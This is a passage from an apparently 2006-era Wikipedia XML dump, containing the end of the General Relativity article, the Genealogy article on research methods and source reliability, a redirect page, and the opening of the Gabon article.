* {{cite book | last = Wald | first = Robert M. | title = General Relativity | location = Chicago | publisher = University of Chicago Press | year = 1984 | id = ISBN 0-226-87033-2 }}

* {{cite book | last = Misner | first = Charles | coauthors = Thorne, Kip S. &amp; Wheeler, John Archibald | title = Gravitation | location = San Francisco | publisher = W. H. Freeman | year = 1973 | id = ISBN 0-7167-0344-0 }}

* [http://3quarksdaily.blogs.com/3quarksdaily/2005/09/general_relativ.html General Relativity, Very Plainly] Short article by S. Abbas Raza of [http://3quarksdaily.com ''3 Quarks Daily'']

* [http://www.alberteinstein.info/gallery/gtext3.html The Foundation of the General Theory of Relativity], A. Einstein originally published in Annalen der Physik (1916).

{{Physics-footer}}

&lt;!-- WIKIPEDIA POLICY NOTE:  This is the main article for Category:General_relativity.  Additional categorizations should be done for the category, not this article.  See Wikipedia:Categorization for current guidelines (not WP:CSL, which is only a proposal). --&gt;

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[[ar:نظرية النسبية العامة]]
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[[eo:Fizika relativeco]]
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[[et:Üldrelatiivsusteooria]]
[[fi:Yleinen suhteellisuusteoria]]
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[[gl:Relatividade Xeral]]
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[[hu:Általános relativitáselmélet]]
[[id:Teori relativitas umum]]
[[it:Relatività generale]]
[[ja:一般相対性理論]]
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[[zh:廣義相對論]]</text>
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  </page>
  <page>
    <title>Genealogy</title>
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      <minor />
      <comment>/* United Kingdom */ spelling error</comment>
      <text xml:space="preserve">'''Genealogy''' is the study and tracing of [[family]] [[pedigree chart|pedigrees]]. This involves collecting the names of relatives, both living and deceased, and establishing the relationships between them based on primary, secondary and/or [[circumstantial evidence]] or [[documentation]], thus building up a cohesive [[family tree]]. Genealogy is sometimes also referred to as '''family history''', although these terms may be used distinctly: the former being the basic study of who is related to whom; the latter involving more &quot;fleshing out&quot; of the life and [[Family history|family histories]] of the individuals involved.  

One way to find the family lineage is with the use of the genealogical method.  It is a well-established ethnographic technique.  The early ethnographers developed symbols that covered the issue of kinship, descent, and marriage.  Studying one's genealogy is important in terms of social organization, especially where people live and work with their kin everyday.  It plays a very important role in understanding the current social relations and reconstructing the history.  Marriage is also looked at because it is important in creating alliances amongst tribes, clans and villages.   

In this article, the terms genealogist, researcher, and family historian refer to every participant, from the inexperienced hobbyist to the professional.

{{wiktionarypar|genealogy}}
{{wikibooks}}

==Overview==
Genealogists search written records, collect oral histories and preserve family stories to discover ancestors and living relatives. Genealogists also attempt to understand not just where and when people lived but also their lifestyle, biography, and motivations. This often requires &amp;mdash; or leads to &amp;mdash; knowledge of antique law, old political boundaries, immigration trends, and historical social conditions.

Genealogists and family historians often join a [[Family History Society]] where novices can learn from more experienced researchers, and everyone benefits from shared knowledge.

Even an unsuccessful search for ancestors leads to a better understanding of history.  The search for living relatives often leads to [[Wiktionary:Family reunion|family reunions]], both of distant [[Wiktionary:Cousin|cousins]] and of disrupted families. Genealogists sometimes help reunite families separated by [[war]], [[immigration]], [[foster home]]s and [[adoption]]. The genealogist can help keep family traditions alive or reveal family secrets.

In its original form, genealogy was mainly concerned with the [[kinship and descent|ancestry]] of rulers and nobles, often arguing or demonstrating the legitimacy of claims to wealth and power. The term often overlapped with [[heraldry]], in which the ancestry of royalty was reflected in the quarterings of their [[coat of arms]]. Many of the claimed ancestries are considered by modern scholars to be fabrications, especially the claims of kings and emperors who trace their ancestry to gods or the founders of their civilization. For example, the [[Anglo-Saxons|Anglo-Saxon]] chroniclers traced the ancestry of several English kings back to the [[god]] [[Woden]] (the English version of the [[Norse mythology|Norse]] god [[Odin]]).{{ref|Woden}} If these descents were true, [[Elizabeth II of the United Kingdom|Queen Elizabeth II]] would be a descendant of Woden, via the kings of [[Wessex]]. (see [[euhemerism]]).

In fiction, it is common to give a character a complicated [[fictional genealogy]] to make his or her background more interesting. A picturesque one is the genealogy for [[Godwulf of Asgard]].

==Modern research==
Genealogy, an extremely popular hobby, received a big boost in the late [[1970s]] with the premiere of the television adaptation of [[Alex Haley]]'s fictionalized account of his family line, ''[[Roots: The Saga of an American Family]]''.  With the advent of the internet, the number of resources available to genealogists has vastly increased.

In addition to particular historical events and places, research efforts can focus on other types of relationships between people such as kinship to a particular group of people, e.g. a [[Scottish clan]]; to a particular surname such as in a one-name study (see [http://www.one-name.org/ Guild of One-Name Studies]), or to a particular person such as [[Winston Churchill]] or [[Jesse James]].

===LDS collections===
Theology of the Church of Jesus Christ of Latter-day Saints ([[Mormon]]s) includes the practice of [[baptism for the dead]], an [[ordinance]] where [[baptism]] is performed by living people for and on behalf of those who have died. Mormons believe that this practice enables the living to assist their deceased relatives' progress in the next life, should they accept religious ordinances done on their behalf. In the last century, the LDS Church engaged in a large-scale program of copying all available records of genealogical value onto [[microfilm]]. The project entailed the compilation of the [[International Genealogical Index]] (IGI). The IGI contains information submitted by Mormon researchers for vicarious ordinances, records obtained from non-Mormon contributors, and data taken from various birth or marriage records that Church members have microfilmed; in all, the IGI contains hundreds of millions of records of individuals who lived between 1500 and 1900, primarily in the United States, Canada and Europe. By making so many resources available, the Church of Jesus Christ of Latter-day Saints has helped contribute to the increasing interest in genealogy over the last couple of decades. Information is available free or at a nominal cost through the internet, through the Family History Library in Salt Lake City, Utah, and worldwide at [[Family History Center]]s near local congregations.

===Genetic Analysis===
{{main article|[[Genetic genealogy]]}}
With the discovery that a person's [[DNA]] contains information that has been passed down relatively unchanged from our earliest ancestors, [[Genetic fingerprinting|analysis of DNA]] is just beginning to be used for genealogical research.  There are two DNA types of particular interest.  One is the [[mitochondrial DNA]] which we all possess and which is passed down with only minor mutations through the female line.  The other is the [[Y-chromosome]], present only in males, which is passed down with only minor mutations through the male line.

A [[genealogical DNA test]] allows for two individuals to determine with 99.9% certainty that they are related within a certain time frame, or with 100% certainty that they are not related within a certain time frame.
Individual [[Genealogical DNA test|genetic test results]] are being collected in various databases to match people descended from a relatively recent common ancestor, for example see [http://smgf.org/ Sorenson Molecular Genealogy Foundation]. These tests are limited to either the direct male or the direct female line. 

On a much longer time scale, genetic methods are being used to trace human [[human migration|migratory patterns]] and to determine [[Biogeography|biogeographical]] and [[Ethnicity|ethnic]] origin.  The results can be used to place people within ancient ancestral groups, for example see [http://www3.nationalgeographic.com/genographic/ Genographic Project]. Participation in all such projects is, of course, voluntary.  

In a related development, non-genetic mathematical models of ancestry have been devised to determine the approximate year when the [[most recent common ancestor]] of all living humans existed.

===Sharing data among researchers===
Data sharing among genealogical researchers has grown to be a major use of the [[Internet]]. Most [[#Software|genealogy software]] programs can output information about persons and their relationships in [[GEDCOM]] format, so it can be shared with other genealogists by [[e-mail]] and [[internet forum]]s, added to an online database, or converted into a family [[web site]] using online genealogical tools such as GED2HTML, [[PhpGedView]], and [http://www.phpmyfamily.net Phpmyfamily]. Many genealogical software applications also facilitate the sharing of information on CD-ROMs and DVDs made on personal computers.

One phenomenon over the last few years has been that of large genealogical databases going online and attracting such large [[Flash Crowd|flash crowds]] that the database's host server collapses, causing service to be quickly suspended while hurried upgrades are made to accommodate the traffic load. This happened with [http://www.familysearch.org the Mormons' genealogy database], the [[Commonwealth War Graves Commission]]'s [http://www.cwgc.org/cwgcinternet/search.aspx listing of war graves] and in [[2002#January|January 2002]] with the much-anticipated [http://www.census.pro.gov.uk/ British census for 1901].

===Organizations===
Genealogical and historical societies are a great help to researchers piecing together their family history and placing it within its historical context. Some such societies focus on tracing the lineage of participants in one historical event. Another type of society focuses on a particular geographical area rather than on particular individuals.

===Volunteerism===
[[Volunteerism|Volunteer efforts]] figure prominently in genealogy.  These efforts range from the extremely informal to the highly organized.  

On the informal side are the many popular and useful [[Internet forum|'''message boards''']] and [[electronic mailing list|'''mailing lists''']] regarding particular surnames, regions, and other topics that are maintained on the internet to facilitate queries and responses. [http://www.RootsWeb.com RootsWeb.com], and [http://www.RootsChat.com RootsChat.com] for example, have hundreds of them. A mailing list subscriber can send a request for help by e-mail to the list address, the mail is immediately distributed to all the subscribers, and anyone who can help will e-mail a reply to the list. On the message boards, this exchange occurs entirely online.  Not only can one get an answer very quickly, merely following the conversations is very educational too.  These resources are used by experienced and inexperienced researchers alike.

In more organized settings, volunteers serve both as a resource to enrich data sources and as a means to obtain information from geographically remote or otherwise inaccessible sources. For instance, '''Random Acts of Genealogical Kindness (RAOGK)'''{{ref|RAOGK}} is an organization of more than 4500 researchers who share their time through its [http://www.raogk.org/ web site]. The volunteers have each agreed to field one request per month in their geographical area, and that entitles them to draw upon the time of other group members in similar fashion. A request might take the form of &quot;please check to see if my great-grandfather is buried in the cemetery near where you live&quot; or &quot;please check the May 1952 issues of your local newspaper for my grandfather's obituary&quot;, for instance. This group is one of many examples of researchers working on unrelated projects volunteering their time to other individuals on request.

Another form of volunteerism is '''records transcription'''. Usually this takes the form of manually transcribing information into electronic format for access online. This may be done from paper documents or other sources, such as tombstone inscriptions. Some organizations do the above and more, sometimes scanning out-of-print books to make them accessible for viewing online. One such group is the [http://www.rootsweb.com/~gagenweb/ GeorgiaGenWeb project]. This group provides records on a county level with links to affiliated projects run by broader archives and repositories, such as [http://wwww.southernfolk.us Southern Folk], and the [http://www.ahgp.org American History and Genealogy Project] which covers all states in the US. The [http://userdb.rootsweb.com/contributors.html User Database listing by Rootsweb] is an example of the broad range of individual volunteer efforts. Among more formal volunteer transcription efforts are the databases of the [http://www.italiangen.org/ Italian Genealogical Group], and the [http://www.us-census.org/ USGenWeb Census Project] which matches volunteers with transcription opportunities.

[http://freebmd.rootsweb.com FreeBMD] is an excellent example of volunteerism. The aim is to transcribe the Civil Registration index of births, marriages and deaths for England and Wales. This information is then provided free of charge. Sister projects include [http://freecen.rootsweb.com FreeCEN] which aims to transcribe all UK census data, and [http://freereg.rootsweb.com FreeREG], which is transcribing parish register data.

==Records in genealogical research==
Records of persons who were neither [[royal family|royalty]] nor [[nobility]] began to be taken by governments in order to keep track of their citizens (In most of Europe, for example, this started to take place in the [[16th century]]). As more of the population began to be recorded, there were sufficient records to follow a family using the paper trail they left behind.

As each person lived his or her life, major events were usually documented with a license, permit or report which was stored at a local, regional or national office or [[archive]]. Genealogists locate these records, wherever they are stored, and extract information to discover family relationships and recreate [[timeline]]s of persons' lives.

Records that are used in genealogy research include:
* [[Vital records]]
** [[Birth certificate|Birth records]]
** [[Death certificate| Death records]]
** [[Marriage license|Marriage]] and [[divorce]] records
* [[Adoption]] records
* [[Baptism]] or christening records
* [[Biographies]] and biographical profiles (as in [[Who's Who]], etc.)
* [[Cemetery]] records and [[tombstone]]s
* [[Census]] records
* City directories and [[telephone directory|telephone directories]]
* [[Daughters of the American Revolution]] records
* [[Diary|Diaries]], personal [[letter]]s and family [[Bible]]s
* [[Emigration]], [[immigration]] and [[naturalization]] records
* [[Real property|Land]] and [[Homestead (law)|homestead]] records, [[deed]]s
* [[Health care|Medical]] records
* [[Armed force|Military]] and [[conscription]] records
* [[Newspaper]] columns
* [[Obituary|Obituaries]]
* [[Occupation|Occupational]] records
* [[Oral history]]
* [[Passport]]s
* [[Photograph]]s
* [[School]] and [[alumni association]] records
* [[Passenger ship|Ship]] passenger lists
* [[Social Security Administration]] records (within the USA)
* [[Tax]] records
* [[Vote]]r registration records
* [[Will (law)|Wills]] and probate records

As a rule, genealogists nearly always start with the present and work backward in time rather than forward. Written records have the property of hindsight in that they only tell where a person might have lived and who their parents are, not where they and their descendants will be living in the future. Two exceptions are when a genealogist might interview living relatives as to who and where their children and grandchildren are, or tries to locate long-lost cousins who have already traced their families backward to one of his ancestors (which is forward in time from his point of view).

==Reliability of sources==
Experience shows that genealogical &quot;facts&quot; can be unreliable. The top five classes of genealogical information &amp;mdash; place names, occupations, family names, first names, and dates &amp;mdash; differ in their degree of reliability. Additionally, the popularity of the hobby has encouraged a few organizations to exploit it by mass-marketing what most people regard as [[scam genealogical books]] and websites.

===Place names===
Place names are normally the most accurate because they tend to be long lasting. Nevertheless, place name data may be occasionally inaccurate or confusing. Inaccurate place names in records may be caused by a number of factors. First, place names may be subject to variable spellings by partially literate scribes. Second, small places in neighbouring counties may have the same or substantially similar names. For example, the name [[Brocton]] for villages occurs six times in the border area between the English counties of [[Shropshire]] and [[Staffordshire]]). Third, place names may be confusing or deceptive due to changes in political borders. For instance, county borders in the C17th-C19th England were frequently modified, with outlying and detached areas being reassigned to other counties. Old records may contain references to Middle Age villages that have ceased to exist due to disease or famine. Finally, census returns may simply have recorded inaccurate information.

Individual recollections also provide a source of place names, and sometimes inaccurate place names. The place where someone describes growing up may not be the place of birth or where the records are eventually found. For instance, while an ancestor may recall growing up in one location, records documenting that ancestor may only be found in other locations. There is a good likelihood that the place (parish) of a birth for a girl is the place she marries (unless 'sent abroad' as a servant), and that the place of residence for a man is where he is buried; certainly a neighbouring parish.

Additionally, records may be found in many different locations due to family mobility

Genealogists may rely on several references for place names: Maps (online), especially detailed maps such as the British [[Ordnance Survey]] (OS) maps and OS [http://www.old-maps.co.uk/ Old Map] website; gazetteers (place name dictionary); [[census]] returns; birth, death &amp; marriage records; and historical records such as the [[Domesday Book]].

===Occupations===
Reported occupations may be semi-accurate. Many unskilled ancestors had a variety of jobs depending on the season and local trade requirements. Occasionally skilled trades pass from father to son. Census returns may contain some embellishment; e.g., from [[Labourer]] to [[Mason]], or from [[journeyman]] to [[Master craftsman]]. Workmen no longer fit for their primary trade often take less glamorous jobs later in life. Names for old or unfamiliar local occupations may cause confusion if poorly legible. For example, an ostler (a keeper of horses) and a hostler (an innkeeper) could easily be confused for one another. Likewise, descriptions of such occupations may also be problematic. The perplexing description &quot;ironer of rabbit burrows&quot; may turn out to describe an ironer (profession) in the [[Bristol]] district named Rabbit Burrows. Several trades have regional preferences, for example, shoemaker or cordwainer. Finally, many apparently obscure jobs are part of a larger trade community, such as watchmaking, framework knitting or gunmaking.

Occupational data may be reported in trade directories, census returns, birth, death &amp; marriage records.

===Family Names===
Family names are simultaneously one of the most important pieces of genealogical information, and a source of significant confusion for researchers.

In most cultures, the name of a person references the family to which he or she belongs. This is called the ''[[family name]]'', or ''surname''. It is often also called the ''last name'' because, for most speakers of [[English language|English]], the family name comes after the given name (or names). However, this is not the case in other cultures, e.g., Chinese family names precede the given name.

[[Patronymic]]s are names which allow identification of an individual based on the father's name, e.g., Marga Olafsdottir or Olfa Thorsson. Many cultures used patronymics before surnames were adopted or came into use. The Dutch in New York, for example, used the patronymic system of names until 1687 when the advent of English rule mandated surname usage. See the article &quot;Dutch Patronymics in New York in the 1600s&quot; at [http://olivetreegenealogy.com/nn/pat.shtml Olive Tree Genealogy] for a beginner tutorial on the patronymic system.

As with place names, surname and personal name data may be subject to variant spellings. Older records may include greater variation in spelling than modern records. Phonetic spelling may be the only link variantly spelled names; e.g., &quot;Quilter&quot; and &quot;Kieltagh&quot;. Records may also include completely different variants of names, such as MORT for MORDECAI.

The transmission of names across generations, marriages and other relationships, and immigrations also causes significant inaccuracy in genealogical data. For instance, children may sometimes take or be given step-parent, foster parent, or adoptive parent names. Women in many cultures have routinely used their spouse's surnames. When a woman remarried, she may have changed her name and the names of her children; only her name; or changed no names. Her birth ([[maiden name|&quot;maiden&quot;]]) name may be reflected in her children's middle names; her own middle name; or dropped entirely.  

Official records do not capture many kinds of surname changes. For example, fostering, [[common-law marriage]], love affairs, changes in career or location may all result in name changes which are not reflected as such in official records.

Surname data may be found in trade directories, census returns, birth, death &amp; marriage records.

===First Names===
Genealogical data regarding first names is subject to many of the same problems of family names and place names.

Additionally, nicknames for personal names are very common &amp;mdash; Beth, Lizzie or Betty is common for Elizabeth, which can be confused with Eliza. Patty has been used as a diminutive form for Martha. There is Amy used for Alice, Nancy/Ann, and Polly used for a number of feminine names including Mary Ann and Elizabeth. While the feminine names are the most confusing, masculine names can also interchange: Jack, John &amp; Jonathan, Joseph &amp; Josiah, Edward &amp; Edwin, etc.

Middle names provide additional information. Middle names may be inherited, or follow naming customs. Middle names may sometimes be treated as part of the family name.  For instance, in some Latin cultures, both the mother's family name and the father's family name are used by the children.  Official records may record full names in a variety of ways: First, Middle, Last;  Last, Middle, First; Last, First Middle; Last, First, M.

The same personal name can also be given to several children, especially where an older child has died.

Personal names go through periods of popularity, so it is not uncommon to find many similarly-named people in a generation, and even similarly-named families; e.g., &quot;William and Mary and their children David, Mary, and John&quot;.

Many names may be identified strongly with a particular gender; e.g., William for boys, and Mary for girls. Other names may be [[unisex names|ambiguous]], e.g., Lee, or have only slightly variant spellings based on gender, e.g., Frances (usually female) and Francis (usually male).

For a search engine designed for researching your family by unique first names, visit &quot;[http://www.genealogytoday.com/names/first/basis.html First Name Basis]&quot; at Genealogy Today.

===Dates===
The general rule is to never trust a date! Accurate dates of birth may be given for modern registrations and in a few church records at baptism. Family Bibles may be a help, but can be written from memory long after the event - beware of the same ink and handwriting for all entries; a sure sign the dates were written at the same time and therefore will be less reliable. Women will commonly reduce their age on marriage, and perhaps those under &quot;full age&quot; may increase their age upon marriage or joining the armed forces. [[Census]] returns are notoriously unreliable, particularly when looking for a date for a husband's death - if the woman is at home while the husband is away, she could be given as Head of household or assumed a widow. The [[UK_Census|1841 census in the UK]] is rounded down to the next lower multiple of five years. Dates around birth may be confused between birth and baptism. Some families wait 3-5 years before baptising children, and adult baptisms are not unheard of. Both birth and marriage dates can be adjusted to cover for pre-wedding pregnancies. It is very common for the first child to be born before or within a few months of a marriage and sometimes baptised in the mother's name, later adopting the father's name after the parents' marriage. The father's name can be used even if no marriage has occurred.

In 1752 the date of the new year was changed in England and the American Colonies. Before 1752 the new year started on the 25th March, but in 1752 this was changed to the 1st January. This was part of the transition to the [[Gregorian calendar]] from the [[Julian calendar]]. Many other European countries had already made the change, and by 1751 there was an 11 day discrepancy between the date in England and the date in other European countries. The date continued to be recorded as usual in 1752 until 2nd September 1752, the following day became 14th September 1752. Dates that were recorded in the older system can be shown by &quot;double dating&quot;. For example;
Original date: 24th of March 1750; Modern date: 24th March 1751; Double dating: 24th March 1750/51

For events occurring before 1752 in countries where the [[Julian calendar]] was still in use, it is best to use double dating whenever the exact year can be ascertained. When transcribing an original record where the exact year is evident but not expressed, the double date can be written as, for example, &quot;24th March 1750[/51]&quot;.

One should also be aware that, in those places using the old [[Julian calendar]], the numbering of months also varied. The &quot;1st month&quot; of the year was considered March, the second April, the third May, and so on. Those 24 days in March which fell before the beginning of the year were generally regarded as being part of the first month.

NOTE
The foregoing may be true for British genealogical records but does in no way apply to records in other countries. A notable exception is the Nordic countries, especially Sweden, which have very detailed and mostly accurate records in the form of church records from the 18th century onwards.

But there, as in any historical research, a critical review of all information and an assessment of the reliability of each source is required.

==The &quot;maximum relationship&quot;==

One of the aims in professional genealogy circles has been to determine the maximum degree of separation which currently exists between all people in the world. That is to say, how many generations back is the first common ancestor that the two most distantly related people on earth share.

Latest models, taking into account sexual differentiation, monogamy and realistic migration patterns suggest that the [[most recent common ancestor]] (MRCA) of all humans probably lived 75-150 generations or 2000-4000 years ago. Moreover, the MRCA is likely to have lived somewhere in Southeast Asia (increasing the likelihood of his or her descendents reaching the remote islands of the Pacific), is equally likely to be a man or woman, and is not characterized by an unusually large number of children. These models also show that while a large group (indeed all humans) share recent common ancestors, a given person is likely to share the vast majority of his or her genes with a very small local group.

==Software==
{{main article|[[Genealogy software]]}}
[[Genealogy software]] is [[computer software]] used to collect, store, sort, and display genealogical data. At a minimum, genealogy software tends to accommodate basic information about births, marriages, and deaths. Many programs allow for additional biographical information and a host of features.

Certain programs are geared towards specific religions, and will include additional fields relevant to that religion. Other programs focus on certain geographical regions.

Some programs will allow for the import of digital photographs, and sound files. Other programs focus on the ability to generate kinship charts. Some programs are more flexible than others in allowing for the input of [[same sex marriage]]s and [[Illegitimacy|children born out of wedlock]].

There is currently a move to incorporate fields for the input of [[genealogical DNA test]] results, though this information can be added into the &quot;Notes&quot; field of almost all genealogy software.

Most genealogy software will allow for the export of data in the [[GEDCOM]] format, which can then be shared with people using different genealogy software. Certain programs allow the user to restrict what information is shared, usually by removing information about living people for [[privacy]] purposes.

== See also ==
* [[Census]]
* [[List of genealogy publications]]
* [[List of genealogy portals]]
* [[List of general genealogy databases]]
* [[List of surname repositories]]
* [[Wikitree]]

==External links==
''Referring to many of the links in this section''
===General===

Message boards
* [http://genforum.genealogy.com/ List of genealogy message boards]
* [http://web.archive.org/web/*/http://www.gendir.com/village/ Archive.org backup of gendir.com]

Mailing lists
* [http://www.feliixplace.com/genealogylists/ David's Genealogy Discussion Lists Homepage]

Guides
* [http://www.amateur-genealogist.com/ The leading UK based website for Amateur Genealogists.]
* [http://www.our-family-trees.co.uk/ The Complete Beginners Guide to Genealogy.]
* [http://www.catholic-genealogy.com/ Information and advice for those seeking their Catholic Ancestors.]
* [http://genealogy.about.com/ About Genealogy - Tutorials, Links and Surname Meanings]
* [http://www.worldgenweb.org/ WorldGenWeb Project] Guidance from volunteer genealogists
* [http://www.progenealogists.com/articles.htm ProGenealogists Articles] Free Articles, Tutorials from Professional Genealogists
* [http://www.genuki.org.uk/gs/Newbie.html Newbies' Guide to Genealogy &amp; Family History]


Miscellaneous
* [http://www.wikitree.org/ WikiTree.Org] - freely-edited family tree of all human beings.
* [http://www.wargs.com/political/ Ancestries of U.S. politicians]
* [http://www.geocities.com/bx_huang Genealogy of the Chinese Huang Clan] - Traces the origin and history of the Chinese Huang Clan.
* [http://www.scotlandroyalty.org/ Scotland Royalty - Free Royal Genealogy Resource &amp; Archives]
* [http://www.complete-bible-genealogy.com/ Complete Bible Genealogy] - A list of all prominent figures named in the Bible.

===Australia===
* [http://www.gsv.org.au The Genealogical Society of Victoria Inc.]
* [http://www.vicgum.asn.au Victorian GUM Inc.]
* [http://www.tasfhs.org Tasmanian Family History Society Inc.]
* [http://www.rootsweb.com/~auscqfha Central Queensland Family History Association Inc.]
* [http://www.geocities.com/bundy_genies Bundaberg Genealogical Association Inc.]

===Denmark===
* [http://www.genealogi.dk/index_us.htm The Society for Danish Genealogy and Biography]
* [http://www.dis-danmark.dk/dis-english.asp DIS Danmark]
* [http://www.sadolins.com OneTree Genealogy - A large genealogical relationship database - Includes Danish patrician, nobility and royal lineages]
* [http://www.progenealogists.com/denmark/ Genealogy and Records of Denmark]

===Finland===
* [http://www.genealogia.fi/indexe.htm The Genealogical Society of Finland]

===Germany===
* [http://home.att.net/~wee-monster/ German Roots - German Genealogy Resources]
* [http://www.progenealogists.com/germany/ German Genealogy Resources and Gazetteers]
* [http://www.progenealogists.com/palproject/ Palatines to America 1683-1819]
* [http://www.heirlines.com/info/German-Genealogy.html/ German Genealogy ]



===Ireland===
* [http://www.scotlandsclans.com/ireland.htm Irish Genealogy]
* [http://www.censusfinder.com/ireland.htm Ireland Census Records - Links to free Irish census records online.]
* [http://www.ireland.com/ancestor/ Irish Ancestors]
* [http://www.ireland.progenealogists.com/ Irish Genealogy]

===Israel===
* [http://www.isragen.org.il The Israel Genealogical Society]
* [http://www.bh.org.il/Genealogy/index.aspx/ Beth Hatefutsoth]

===Italy===
* [http://www.italiangenealogy.com/ ItalianGenealogy.com - The best Internet resource for Italian Genealogy since April 1995]
* [http://www.dejudicibus.it/genealogia/ I 1000 Anni dei Casati «de Judicibus» e «Giliberti»]

===Jewish===
* [http://www.jewishgen.org/ JewishGen]
* [http://www.bh.org.il/Genealogy/index.aspx/ The Douglas E. Goldman Jewish Genealogy Center]
* [http://www.jgsgb.org.uk Jewish Genealogical Society of Great Britain]
* [http://www.jgsla.org/ Jewish Genealogical Society of Los Angeles, CA]

===Malta===
* [http://www.maltagenealogy.com/ Maltese migration research]

===Norway===
* [http://www.disnorge.no/ DIS-Norge]
* [http://www.disnorge.no/eng/index.html Genealogy Society of Norway]
* [http://www.genealogi.no/Engelsk/a_short_introduction_in_english.htm NSF - The Norwegian Genealogical Society]

===Pakistan===
* [http://www.shaikhsiddiqui.com Pakistan Genealogy]



===Serbia-Montenegro===
* [http://www.rodoslovlje.com/ Serbian Genealogical Society ]

===Slovakia===
* [http://www.progenealogists.com/slovakia/ Slovak Genealogy and Records]

===Sweden===
* [http://www.sweggate.com/ SweGGate = Sweden Genealogy Gate]
* [http://www.genealogi.se/roots/ Swedish Roots]
* [http://www.genline.com/ Swedish Church Records - Genline]

===Switzerland===
* [http://www.eye.ch/swissgen/ Swiss Genealogy on the Internet]
* [http://www.progenealogists.com/switzerland/cantons.htm Swiss Gazetteer]

===United Kingdom===
* [http://www.familyrecords.gov.uk/ Family Records Centre]
* [http://www.genuki.org.uk/ UK &amp; Ireland Genealogy]
* [http://www.nationalarchives.gov.uk/ UK National Archives]
* [http://www.soc.org.uk/ Society of Genealogists]
* [http://www.scotlandspeople.gov.uk/ Scotlands people]
* [http://www.1837online.com/Trace2web/HomeServlet 1837 Online]
* [http://home.clara.net/denis.mccready/ Campaign to release 1911 Census]
* [http://freebmd.rootsweb.com/cgi/search.pl Free BMD project]

===West Indies===
* [http://www.progenealogists.com/westindies/ West Indies Genealogy and Records]

===Miscellaneous===
* [http://calmenno.org/grandma/index.htm The GRANDMA Project, 713,132 people of German-Russian Mennonite Ancestry]
* [http://www.gen-gen.ch Société Genevoise de Généalogie - 160'000 people from Switzerland, France, Italy and the rest of the world linked together]
* [http://www.isogg.org/ International Society of Genetic Genealogy]

==Notes and References==
# {{note|Woden}} The mythological origin of English kings is related in a number of derivative sources, such as [http://www.ancientworlds.net/aw/Article/492164 The Scyldings], an article at [http://www.ancientworlds.net/ Ancient Worlds]. In this article one primary source cited is the &quot;Anglo-Saxon Chronicle&quot;. The following passage appears in the entry for A.D. 449: &quot;Their leaders were two brothers, Hengest and Horsa; who were the sons of Wihtgils; Wihtgils was the son of Witta, Witta of Wecta, Wecta of Woden. From this Woden arose all our royal kindred, and that of the Southumbrians also.&quot; In this context &quot;royal kindred&quot; refers to English kings.  Reference: [http://sunsite.berkeley.edu/OMACL/Anglo/part1.html The Anglo-Saxon Chronicle, Part 1: A.D. 1 - 748], part of [http://sunsite.berkeley.edu/OMACL/ The Online Medieval &amp; Classical Library]. Accessed 2005 Mar 11.
# {{note|RAOGK}} [http://www.raogk.org/ Homepage for &quot;Random Acts of Genealogical Kindness&quot;]. Accessed 2005-02-06.
# {{note|NEHGS}} [http://www.newenglandancestors.org/ Homepage for the New England Historic Genealogical Society]. Accessed 2005-02-05.
*Citation:&lt;!--to what???--&gt; ''Windows on Humanity'' by Conrad Phillip KOTTAK. Chapter 2, page 38.

[[Category:Genealogy|*]]
[[Category:Kinship and descent]]

[[cs:Genealogie]]
[[da:Slægtsforskning]]
[[de:Genealogie]]
[[et:Genealoogia]]
[[es:Genealogía]]
[[eo:Genealogio]]
[[fr:Généalogie]]
[[it:Genealogia]]
[[he:גנאלוגיה]]
[[ja:系譜学]]
[[ka:გენეალოგია]]
[[nl:Genealogie]]
[[no:Slektsforskning]]
[[nn:Slektsforsking]]
[[pl:Genealogia]]
[[pt:Genealogia]]
[[ru:Генеалогия]]
[[sk:Genealógia (história)]]
[[sl:Rodoslovje]]
[[fi:Sukututkimus]]
[[sv:Genealogi]]
[[vi:Gia phả học]]</text>
    </revision>
  </page>
  <page>
    <title>Game of life</title>
    <id>12026</id>
    <revision>
      <id>15909734</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Game of Life]]
</text>
    </revision>
  </page>
  <page>
    <title>Gabon</title>
    <id>12027</id>
    <revision>
      <id>41882286</id>
      <timestamp>2006-03-02T09:35:02Z</timestamp>
      <contributor>
        <username>Ynhockey</username>
        <id>131372</id>
      </contributor>
      <minor />
      <comment>/* Economy */ avoid redirect</comment>
      <text xml:space="preserve">{{Gabon infobox}}
The '''Gabonese Republic''' or '''Gabon''', is a nation of west central [[Africa]].  It borders on [[Equatorial Guinea]], [[Cameroon]], [[Republic of the Congo]] and the [[Gulf of Guinea]]. Since its independence from [[France]] on [[August 17]], [[1960]], the Republic has been ruled by only two [[Autocracy|autocratic]] Presidents; the incumbent [[Omar Bongo|El Hadj Omar Bongo]] has been in power since [[1967]] and is currently (2005) Africa's longest-serving Head of State. Gabon introduced a multiparty system and a new democratic constitution in the early [[1990s]] that allowed for a more transparent electoral process and for reforms of governmental institutions. A small population, abundant natural resources, and foreign private investment have helped make Gabon one of the more prosperous countries in the region.
== History ==
''Main article: [[History of Gabon]]''

The earliest inhabitants of the area were [[Pygmy]] peoples. They were largely replaced and absorbed by Bantu tribes during [[Bantu]] [[human migration|migrations]]. Several [[Bantu]] groups occupied the area that is now Gabon when [[France]] occupied it in [[1885]]. In [[1910]], Gabon became one of the four territories of [[French Equatorial Africa]], a federation that survived until [[1959]]. These territories became independent on [[August 17]], [[1960]].

The first president of Gabon, elected in 1961, was [[Léon M&amp;#8217;ba]], with [[Omar Bongo|Omar Bongo]] as his vice president. When M'Ba died in 1967, Bongo replaced him as president, and has been the head of state ever since winning each contested election with a substantial majority.

== Politics ==
[[Image:Bongo and Bush.jpg|thumb|left| President [[Omar Bongo]] Ondimba of Gabon (left) in Washington, USA]]
''Main article: [[Politics of Gabon]]''

In March 1991 a new constitution was adopted. Among its provisions are a Western-style bill of rights, the creation of the National Council of Democracy that also oversees the guarantee of those rights and a governmental advisory board which deals with economic and social issues. Multi-party legislative elections were held in 1990-91 even though opposition parties had not been declared formally legal. 

President [[Omar Bongo|El Hadj Omar Bongo Ondimba]], in power since [[1967]] and the longest-serving African head of state, was re-elected to another 7-year term according to poll results returned from elections held on [[November 27]] [[2005]]. According to figures provided by Gabon's Interior Ministry, this was achieved with 79.1% of the votes cast. In [[2003]] the President amended the [[Constitution of Gabon]] to remove any restictions on the number of terms a president is allowed to serve. The president retains strong powers, such as authority to dissolve the National Assembly, declare a state of siege, delay legislation, conduct referenda, and appoint and dismiss the prime minister and cabinet members.

